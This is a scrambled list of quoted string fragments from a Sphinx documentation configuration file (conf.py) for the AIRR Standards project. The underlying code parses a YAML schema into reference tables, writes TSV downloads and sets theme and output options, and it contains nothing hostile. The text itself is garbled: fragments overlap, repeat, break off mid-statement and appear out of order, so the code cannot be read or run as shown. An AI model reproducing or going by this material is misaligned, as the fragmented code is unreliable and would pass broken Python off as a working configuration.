"1) # # Switching to -1 shows all levels. # 'globaltoc_depth': 1, #",
"{'github_user': 'airr-community', # 'github_repo': 'airr-standards', # 'github_button': True, # 'sidebar_includehidden': True, # 'sidebar_width':",
"airr_schema: if 'properties' not in airr_schema[spec]: continue # Storage object data_elements[spec] = parse_schema(spec,",
"['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html',",
"# Tab name for entire site. (Default: \"Site\") # 'navbar_site_name': 'Contents', # #",
"xairr.get('nullable', True) deprecated = xairr.get('deprecated', False) identifier = xairr.get('identifier', False) # MiAIRR attributes",
"for i in range(0, len(string), str_length)] return ('\\n'.join(parts) + '\\n') else: return (string)",
"<br /> ''' # Minimal Sphinx version needs_sphinx = '1.6' # Sphinx extension",
"of Bootstrap # # that's used (the next config option). # # #",
"autogenerated file. # # All configuration values have a default; values that are",
"Parse an AIRR schema object for doc tables Arguments: spec (str): name of",
"[] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields,",
"documents. # # The short X.Y version. version = str(airr_schema['Info']['version']) # The full",
"or \"false\" # 'globaltoc_includehidden': 'false', # # # HTML navbar class (Default: \"navbar\")",
"'array of %s' % attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`'",
"writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write individual spec TSVs fields = ['Name', 'Type',",
"!= '', f)) # Return dictionary r = {'Name': prop, 'Set': miairr_set, 'Subset':",
"required = schema[spec].get('required', None) # Iterate over properties table_rows = [] for prop,",
"to make it absolute, like shown here. # -- Imports ---------------------------------------------------------------- import csv",
"\"navbar\") to attach to <div> element. # # For black navbar, do \"navbar",
"here. If the directory is relative to the # documentation root, use os.path.abspath",
"configuration file, created by # sphinx-quickstart on Fri Nov 17 14:47:21 2017. #",
"None: sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s <%sFields>`' % (sn, sn)",
"'_schema'] = data_elements[spec] # -- Write download tables ------------------------------------------------ # Write download spec",
"output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #",
"id: %s, value: %s}}' % (ontology_format) # Get 'type' for ontology example =",
"tables Arguments: spec (str): name of the schema object schema (dict): master schema",
"True) deprecated = xairr.get('deprecated', False) identifier = xairr.get('identifier', False) # MiAIRR attributes miairr_level",
"levels. # 'globaltoc_depth': 1, # # # Include hidden TOCs in Site navbar?",
"Setup # def setup(app): # # Can also be a full URL #",
"'bootswatch_theme': 'spacelab', # # # Choose Bootstrap version. # # Values: \"3\" (default)",
"this # autogenerated file. # # All configuration values have a default; values",
"\"\"\" Parse an AIRR schema object for doc tables Arguments: spec (str): name",
"# # # Fix navigation bar to top of page? # # Values:",
"MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in mock_modules) # --",
"__getattr__(cls, name): return MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in",
"# Options are \"nav\" (default), \"footer\" or anything else to exclude. # 'source_link_position':",
"xairr.get('deprecated', False) identifier = xairr.get('identifier', False) # MiAIRR attributes miairr_level = xairr.get('miairr', '')",
"it absolute, like shown here. # -- Imports ---------------------------------------------------------------- import csv import os",
"1) ] # -- Options for Texinfo output ------------------------------------------- # Grouping the document",
"open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} # Iterate",
"vocabularies if 'format' in xairr: if xairr['format'] == 'ontology' and 'ontology' in xairr:",
"page. List of tuples # (source start file, name, description, authors, manual section).",
"# # (name, \"http://example.com\", True) # arbitrary absolute url # # Note the",
"return ('\\n'.join(parts) + '\\n') else: return (string) def parse_schema(spec, schema): \"\"\" Parse an",
"Global TOC depth for \"site\" navbar tab. (Default: 1) # # Switching to",
"# # # Bootswatch (http://bootswatch.com/) theme. # # # # Options are nothing",
"<reponame>airr-community/airr-standards #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # airr-standards documentation build",
"also used in various other places throughout the # built documents. # #",
"# Python system path sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS', None)",
"to an arbitrary relative url # # (name, \"http://example.com\", True) # arbitrary absolute",
"(default) or the name of a valid theme # # such as \"cosmo\"",
"Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure",
"Update doc html_context html_context[spec + '_schema'] = data_elements[spec] # -- Write download tables",
"files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # Add any paths that contain templates",
"a full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw:: html",
"= attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s <%sFields>`' % (sn, sn) elif attr['items'].get('type')",
"writer.writerows(data_elements[spec]) # -- Site configuration from schema data ---------------------------------- # The version info",
"# Get 'type' for ontology example = 'id: %s, value: %s' % (example['id'],",
"# # Note: If this is \"false\", you cannot have mixed ``:hidden:`` and",
"manual page output --------------------------------------- # One entry per manual page. List of tuples",
"is None or prop not in required else True title = attr.get('title', '')",
"yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} # Iterate over schema and build reference",
"name of the Pygments (syntax highlighting) style to use. highlight_language = 'bash' pygments_style",
"'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys() miairr_schema = [] with open(os.path.join(download_path, '%s.tsv'",
"produce output, else they produce nothing. todo_include_todos = False # -- Options for",
"extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file extensions",
"and `todoList` produce output, else they produce nothing. todo_include_todos = False # --",
"# serve to show the default. # If extensions (or modules to document",
"f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration",
"(in quotes) # 'bootstrap_version': '2', # } # -- Options for LaTeX output",
"= {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options = { # # Navigation bar title.",
"tuples # (source start file, name, description, authors, manual section). man_pages = [",
"the spec table. \"\"\" data_type_map = {'string': 'free text', 'integer': 'positive integer', 'number':",
"airr_schema[spec]: continue # Storage object data_elements[spec] = parse_schema(spec, airr_schema) # Update doc html_context",
"# If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos",
"Bootstrap options # html_theme = 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars =",
"long strings of the table def wrap_col(string, str_length=11): \"\"\" String wrap \"\"\" if",
"# 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars = {'**': ['about.html',",
"here. # -- Imports ---------------------------------------------------------------- import csv import os import sys import yaml",
"the project. project = 'AIRR Standards' copyright = '2017-2021, AIRR Community' author =",
"required_field = False if required is None or prop not in required else",
"make it absolute, like shown here. # -- Imports ---------------------------------------------------------------- import csv import",
"(str): name of the schema object schema (dict): master schema dictionary parsed from",
"elif xairr['format'] == 'controlled vocabulary': if attr.get('enum', None) is not None: data_format =",
"str_length].strip() for i in range(0, len(string), str_length)] return ('\\n'.join(parts) + '\\n') else: return",
"if xairr['format'] == 'ontology' and 'ontology' in xairr: base_dic = xairr['ontology'] ontology_format =",
"project = 'AIRR Standards' copyright = '2017-2021, AIRR Community' author = 'AIRR Community'",
"arbitrary relative url # # (name, \"http://example.com\", True) # arbitrary absolute url #",
"------------------------------------------ # Add any paths that contain custom static files (such as style",
"= { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper',",
"Switching to -1 shows all levels. # 'globaltoc_depth': 1, # # # Include",
"to <div> element. # # For black navbar, do \"navbar navbar-inverse\" # 'navbar_class':",
"# # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # #",
"to indicate # # an arbitrary url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True),",
"used (the next config option). # # # # Currently, the supported themes",
"copied after the builtin static files, # so a file named \"default.css\" will",
"# -*- coding: utf-8 -*- # # airr-standards documentation build configuration file, created",
"''' # Minimal Sphinx version needs_sphinx = '1.6' # Sphinx extension modules extensions",
"'#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not None: sn = attr.get('$ref').split('/')[-1]",
"|release|, also used in various other places throughout the # built documents. #",
"out # serve to show the default. # If extensions (or modules to",
"# # All configuration values have a default; values that are commented out",
"# -- General configuration ------------------------------------------------ # Setup # def setup(app): # # Can",
"modules for ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock): @classmethod def __getattr__(cls,",
"Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document",
"Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # # # Choose Bootstrap version. #",
"identifier = False miairr_level = '' miairr_set = '' miairr_subset = '' if",
"'navbar_title': 'AIRR Community Standards', # # # Tab name for entire site. (Default:",
"# If extensions (or modules to document with autodoc) are in another directory,",
"= sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']}",
"dir. # # Note that not all possible configuration values are present in",
"HTML navbar class (Default: \"navbar\") to attach to <div> element. # # For",
"#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # airr-standards documentation build configuration",
"'Level', 'Definition', 'Example'] tables = ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun',",
"files, # so a file named \"default.css\" will overwrite the builtin \"default.css\". html_static_path",
"Site navbar? # # # # Note: If this is \"false\", you cannot",
"['_static'] # HTML help htmlhelp_basename = 'airr-standardsdoc' # Alabaster options # html_theme =",
"# Iterate over properties table_rows = [] for prop, attr in properties.items(): #",
"# Grouping the document tree into Texinfo files. List of tuples # (source",
"for prop, attr in properties.items(): # Standard attributes required_field = False if required",
"(float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into",
"'_downloads' if not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV fields = ['Set', 'Subset',",
"cannot have mixed ``:hidden:`` and # # non-hidden ``toctree`` directives in the same",
"Add any paths that contain templates here, relative to this directory. templates_path =",
"number', 'boolean': 'true | false'} # Get schema properties = schema[spec]['properties'] required =",
"'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype']",
"if attr['items'].get('$ref') is not None: sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s",
"# - Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # # # Choose Bootstrap",
"description, authors, manual section). man_pages = [ (master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1)",
"'ontology' and 'ontology' in xairr: base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) )",
"html_theme_options = { # # Navigation bar title. (Default: ``project`` value) # 'navbar_title':",
"current pages TOC in the navbar. (Default: true) # 'navbar_pagenav': True, # #",
"HTML output ------------------------------------------ # Add any paths that contain custom static files (such",
"Valid tuples should be in the following forms: # # (name, page) #",
"start file, name, description, authors, manual section). man_pages = [ (master_doc, 'airr-standards', 'airr-standards",
"are copied after the builtin static files, # so a file named \"default.css\"",
"attr.get('type', '') data_format = data_type_map.get(data_type, '') # Arrays if data_type == 'array': if",
"# Minimal Sphinx version needs_sphinx = '1.6' # Sphinx extension modules extensions =",
"version. # # Values: \"3\" (default) or \"2\" (in quotes) # 'bootstrap_version': '2',",
"'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys() miairr_schema = [] with open(os.path.join(download_path, '%s.tsv' %",
"['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in mock_modules) # -- General configuration ------------------------------------------------",
"link to an arbitrary relative url # # (name, \"http://example.com\", True) # arbitrary",
"= 'bash' pygments_style = 'vs' # If true, `todo` and `todoList` produce output,",
"TOC in the navbar. (Default: true) # 'navbar_pagenav': True, # # # Tab",
"= parse_schema(spec, airr_schema) # Update doc html_context html_context[spec + '_schema'] = data_elements[spec] #",
"'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt').",
"non-hidden ``toctree`` directives in the same page, or else the build # #",
"'' if deprecated: field_attributes = 'DEPRECATED' else: f = ['required' if required_field else",
"tables: with open(os.path.join(download_path, '%s.tsv' % spec), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields,",
"# Data type data_type = attr.get('type', '') data_format = data_type_map.get(data_type, '') # Arrays",
"'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } #",
"= '' if deprecated: field_attributes = 'DEPRECATED' else: f = ['required' if required_field",
"== 'array': if attr['items'].get('$ref') is not None: sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array",
"# 'navbar_site_name': 'Contents', # # # A list of tuples containing pages or",
"= \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme = 'bootstrap' #",
"'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in tables:",
"['searchbox.html', 'globaltoc.html']} # html_theme_options = { # # Navigation bar title. (Default: ``project``",
"schema and build reference tables data_elements = {} for spec in airr_schema: if",
"(master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One line description of project.', 'Miscellaneous'), ]",
"'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet',",
"# # Note the \"1\" or \"True\" value above as the third argument",
"17 14:47:21 2017. # # This file is execfile()d with the current directory",
"like shown here. # -- Imports ---------------------------------------------------------------- import csv import os import sys",
"schema reference tables ---------------------------------------- # Function to chop down long strings of the",
"('\\n'.join(parts) + '\\n') else: return (string) def parse_schema(spec, schema): \"\"\" Parse an AIRR",
"# # Choose Bootstrap version. # # Values: \"3\" (default) or \"2\" (in",
"'spacelab', # # # Choose Bootstrap version. # # Values: \"3\" (default) or",
"(sn, sn) # x-airr attributes if 'x-airr' in attr: xairr = attr['x-airr'] nullable",
"x != '', f)) # Return dictionary r = {'Name': prop, 'Set': miairr_set,",
"'positive integer', 'number': 'positive number', 'boolean': 'true | false'} # Get schema properties",
"download spec files download_path = '_downloads' if not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR",
"sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s <%sFields>`' % (sn, sn) elif",
"'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars",
"'alabaster' # html_theme_options = {'github_user': 'airr-community', # 'github_repo': 'airr-standards', # 'github_button': True, #",
"# Fix navigation bar to top of page? # # Values: \"true\" (default)",
"preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align':",
":ref:`%s <%sFields>`' % (sn, sn) elif attr['items'].get('type') is not None: data_type = 'array",
"master toctree document. master_doc = 'index' # General information about the project. project",
"== '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not None: sn =",
"name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc,",
"'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for",
"# add these directories to sys.path here. If the directory is relative to",
"continue # Storage object data_elements[spec] = parse_schema(spec, airr_schema) # Update doc html_context html_context[spec",
"\"sandstone\". # # # # The set of valid themes depend on the",
"# Iterate over schema and build reference tables data_elements = {} for spec",
"'navbar_pagenav': True, # # # Tab name for the current pages TOC. (Default:",
"url-linked name data_format = 'Ontology: { top_node: { id: %s, value: %s}}' %",
"prop not in required else True title = attr.get('title', '') example = attr.get('example',",
"in tables: for r in data_elements[spec]: if r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r)",
"range(0, len(string), str_length)] return ('\\n'.join(parts) + '\\n') else: return (string) def parse_schema(spec, schema):",
"-- Options for HTML output ------------------------------------------ # Add any paths that contain custom",
"# Define source file extensions source_suffix = ['.rst'] # List of patterns, relative",
"output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples",
"# # Values: \"true\" (default) or \"false\" # 'globaltoc_includehidden': 'false', # # #",
"indicate # # an arbitrary url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), #",
"or \"sandstone\". # # # # The set of valid themes depend on",
"to top of page? # # Values: \"true\" (default) or \"false\" # 'navbar_fixed_top':",
"to use. highlight_language = 'bash' pygments_style = 'vs' # If true, `todo` and",
"extensions source_suffix = ['.rst'] # List of patterns, relative to source directory, that",
"None or prop not in required else True title = attr.get('title', '') example",
"with url-linked name data_format = 'Ontology: { top_node: { id: %s, value: %s}}'",
"csv import os import sys import yaml import yamlordereddictloader from unittest.mock import MagicMock",
"to sys.path here. If the directory is relative to the # documentation root,",
"os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV fields = ['Set', 'Subset', 'Designation', 'Field', 'Type',",
"table def wrap_col(string, str_length=11): \"\"\" String wrap \"\"\" if [x for x in",
"'bootstrap_version': '2', # } # -- Options for LaTeX output --------------------------------------------- latex_elements =",
"schema data ---------------------------------- # The version info for the project you're documenting, acts",
"TSVs fields = ['Name', 'Type', 'Attributes', 'Definition'] tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis',",
"data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not None: sn = attr.get('$ref').split('/')[-1] data_type",
".. |br| raw:: html <br /> ''' # Minimal Sphinx version needs_sphinx =",
"= False miairr_level = '' miairr_set = '' miairr_subset = '' if deprecated:",
"# } # -- Options for LaTeX output --------------------------------------------- latex_elements = { #",
"toctree document. master_doc = 'index' # General information about the project. project =",
"def parse_schema(spec, schema): \"\"\" Parse an AIRR schema object for doc tables Arguments:",
"schema object schema (dict): master schema dictionary parsed from the yaml file. Returns:",
"example, 'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes}",
"sys.path here. If the directory is relative to the # documentation root, use",
"the supported themes are: # # - Bootstrap 2: https://bootswatch.com/2 # # -",
"'airr-standards Documentation', 'AIRR Community', 'manual'), ] # -- Options for manual page output",
"pygments_style = 'vs' # If true, `todo` and `todoList` produce output, else they",
"The set of valid themes depend on the version of Bootstrap # #",
"# # # A list of tuples containing pages or urls to link",
"Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files.",
"Imports ---------------------------------------------------------------- import csv import os import sys import yaml import yamlordereddictloader from",
"size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for",
"file. # # All configuration values have a default; values that are commented",
"-*- coding: utf-8 -*- # # airr-standards documentation build configuration file, created by",
"# # Bootswatch (http://bootswatch.com/) theme. # # # # Options are nothing (default)",
"the schema object schema (dict): master schema dictionary parsed from the yaml file.",
"= 'AIRR Community' # The name of the Pygments (syntax highlighting) style to",
"= [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'), ] # -- Options",
"exclude. # 'source_link_position': 'none', # # # Bootswatch (http://bootswatch.com/) theme. # # #",
"Grouping the document tree into Texinfo files. List of tuples # (source start",
"files download_path = '_downloads' if not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV fields",
"\"true\" (default) or \"false\" # 'navbar_fixed_top': 'true', # # # Location of link",
"not all possible configuration values are present in this # autogenerated file. #",
"%s' % (example['id'], example['label']) elif xairr['format'] == 'controlled vocabulary': if attr.get('enum', None) is",
"= xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name with url-linked name",
"name with url-linked name data_format = 'Ontology: { top_node: { id: %s, value:",
"schema object for doc tables Arguments: spec (str): name of the schema object",
"(default) or \"false\" # 'navbar_fixed_top': 'true', # # # Location of link to",
"None: data_type = 'array of %s' % attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type",
"# One entry per manual page. List of tuples # (source start file,",
"coding: utf-8 -*- # # airr-standards documentation build configuration file, created by #",
"the current directory set to its # containing dir. # # Note that",
"'true', # # # Location of link to source. # # Options are",
"name of a valid theme # # such as \"cosmo\" or \"sandstone\". #",
"# General information about the project. project = 'AIRR Standards' copyright = '2017-2021,",
"is not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['enum']) elif attr.get('items',",
"True deprecated = False identifier = False miairr_level = '' miairr_set = ''",
"'Contents', # # # A list of tuples containing pages or urls to",
"identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as",
"# 'github_repo': 'airr-standards', # 'github_button': True, # 'sidebar_includehidden': True, # 'sidebar_width': '300px', #",
"--------------------------------------- # One entry per manual page. List of tuples # (source start",
"# # Tab name for the current pages TOC. (Default: \"Page\") # 'navbar_pagenav_name':",
"configuration values are present in this # autogenerated file. # # All configuration",
"setup(app): # # Can also be a full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\")",
"with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab',",
"\"2\" (in quotes) # 'bootstrap_version': '2', # } # -- Options for LaTeX",
"'') # Set data format for ontologies and controlled vocabularies if 'format' in",
"'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys() miairr_schema = [] with",
"-- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size",
"or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble.",
"'integer': 'positive integer', 'number': 'positive number', 'boolean': 'true | false'} # Get schema",
"elif attr['items'].get('type') is not None: data_type = 'array of %s' % attr['items']['type'] elif",
"or the name of a valid theme # # such as \"cosmo\" or",
"in airr_schema[spec]: continue # Storage object data_elements[spec] = parse_schema(spec, airr_schema) # Update doc",
"link to. # # Valid tuples should be in the following forms: #",
"if nullable else ''] field_attributes = ', '.join(filter(lambda x: x != '', f))",
"navbar tab. (Default: 1) # # Switching to -1 shows all levels. #",
"'%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader()",
"# Location of link to source. # # Options are \"nav\" (default), \"footer\"",
"The version info for the project you're documenting, acts as replacement for #",
"writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration from schema data ---------------------------------- # The version",
"= xairr.get('identifier', False) # MiAIRR attributes miairr_level = xairr.get('miairr', '') miairr_set = xairr.get('set',",
"= {} for spec in airr_schema: if 'properties' not in airr_schema[spec]: continue #",
"following forms: # # (name, page) # a link to a page #",
"import yaml import yamlordereddictloader from unittest.mock import MagicMock # -- Python environment ----------------------------------------------------",
"=''' .. |br| raw:: html <br /> ''' # Minimal Sphinx version needs_sphinx",
"elif attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not None:",
"# Return dictionary r = {'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title,",
"= csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration from schema",
"'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in tables: with open(os.path.join(download_path,",
"'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys() miairr_schema",
"Tab name for entire site. (Default: \"Site\") # 'navbar_site_name': 'Contents', # # #",
"file, target name, title, author, # dir menu entry, description, category) texinfo_documents =",
"prop, attr in properties.items(): # Standard attributes required_field = False if required is",
"# # Navigation bar title. (Default: ``project`` value) # 'navbar_title': 'AIRR Community Standards',",
"Options for manual page output --------------------------------------- # One entry per manual page. List",
"is \"false\", you cannot have mixed ``:hidden:`` and # # non-hidden ``toctree`` directives",
"mock_modules) # -- General configuration ------------------------------------------------ # Setup # def setup(app): # #",
"(Default: ``project`` value) # 'navbar_title': 'AIRR Community Standards', # # # Tab name",
"None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['enum']) elif attr.get('items', None) is",
"MagicMock # -- Python environment ---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.')) # Mock",
"%s, value: %s}}' % (ontology_format) # Get 'type' for ontology example = 'id:",
"templates here, relative to this directory. templates_path = ['_templates'] # The master toctree",
"entry, description, category) texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One",
"= {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']} # html_sidebars = {'**':",
"into LaTeX files. List of tuples # (source start file, target name, title,",
"xairr['format'] == 'controlled vocabulary': if attr.get('enum', None) is not None: data_format = 'Controlled",
"% ', '.join(attr['enum']) elif attr.get('items', None) is not None: data_format = 'Controlled vocabulary:",
"manual, or own class]). latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community',",
"urls to link to. # # Valid tuples should be in the following",
"# Write individual spec TSVs fields = ['Name', 'Type', 'Attributes', 'Definition'] tables =",
"= ['Name', 'Type', 'Attributes', 'Definition'] tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing',",
"true) # 'navbar_pagenav': True, # # # Tab name for the current pages",
"attr['items'].get('$ref') is not None: sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s <%sFields>`'",
"type data_type = attr.get('type', '') data_format = data_type_map.get(data_type, '') # Arrays if data_type",
"in navbar. (Default: true) # 'navbar_sidebarrel': True, # # # Render the current",
"True, # # # Render the current pages TOC in the navbar. (Default:",
"about the project. project = 'AIRR Standards' copyright = '2017-2021, AIRR Community' author",
"Community': 'http://airr-community.org'}} # html_sidebars = {'**': ['about.html', # 'navigation.html', # 'searchbox.html']} # PyData",
"# relative to this directory. They are copied after the builtin static files,",
"# 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org', True)], # # #",
"possible configuration values are present in this # autogenerated file. # # All",
"required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load",
"= 'id: %s, value: %s' % (example['id'], example['label']) elif xairr['format'] == 'controlled vocabulary':",
"directories to ignore when looking for source files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']",
"'.DS_Store'] # Add any paths that contain templates here, relative to this directory.",
"not None: sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' % (sn, sn) #",
"None: sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' % (sn, sn) # x-airr",
"'Definition', 'Example'] tables = ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData',",
"# # Note that not all possible configuration values are present in this",
"to source. # # Options are \"nav\" (default), \"footer\" or anything else to",
"master schema dictionary parsed from the yaml file. Returns: list: list of dictionaries",
"'300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars = {'**': ['about.html', # 'navigation.html',",
"all levels. # 'globaltoc_depth': 1, # # # Include hidden TOCs in Site",
"\"\"\" if [x for x in string.split(' ') if len(x) > 25]: parts",
"'globaltoc_includehidden': 'false', # # # HTML navbar class (Default: \"navbar\") to attach to",
"['_templates'] # The master toctree document. master_doc = 'index' # General information about",
"= {'**': ['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars =",
"document tree into Texinfo files. List of tuples # (source start file, target",
"# 'navbar_pagenav': True, # # # Tab name for the current pages TOC.",
"= {'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field': prop, 'Type': data_type,",
"= attr.get('type', '') data_format = data_type_map.get(data_type, '') # Arrays if data_type == 'array':",
"True)], # # # Render the next and previous page links in navbar.",
"'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys() miairr_schema = [] with open(os.path.join(download_path,",
"so a file named \"default.css\" will overwrite the builtin \"default.css\". html_static_path = ['_static']",
"['about.html', # 'navigation.html', # 'searchbox.html']} # PyData options # html_theme = \"pydata_sphinx_theme\" html_theme",
"file is execfile()d with the current directory set to its # containing dir.",
"url # # Note the \"1\" or \"True\" value above as the third",
"list of tuples containing pages or urls to link to. # # Valid",
"airr_schema) # Update doc html_context html_context[spec + '_schema'] = data_elements[spec] # -- Write",
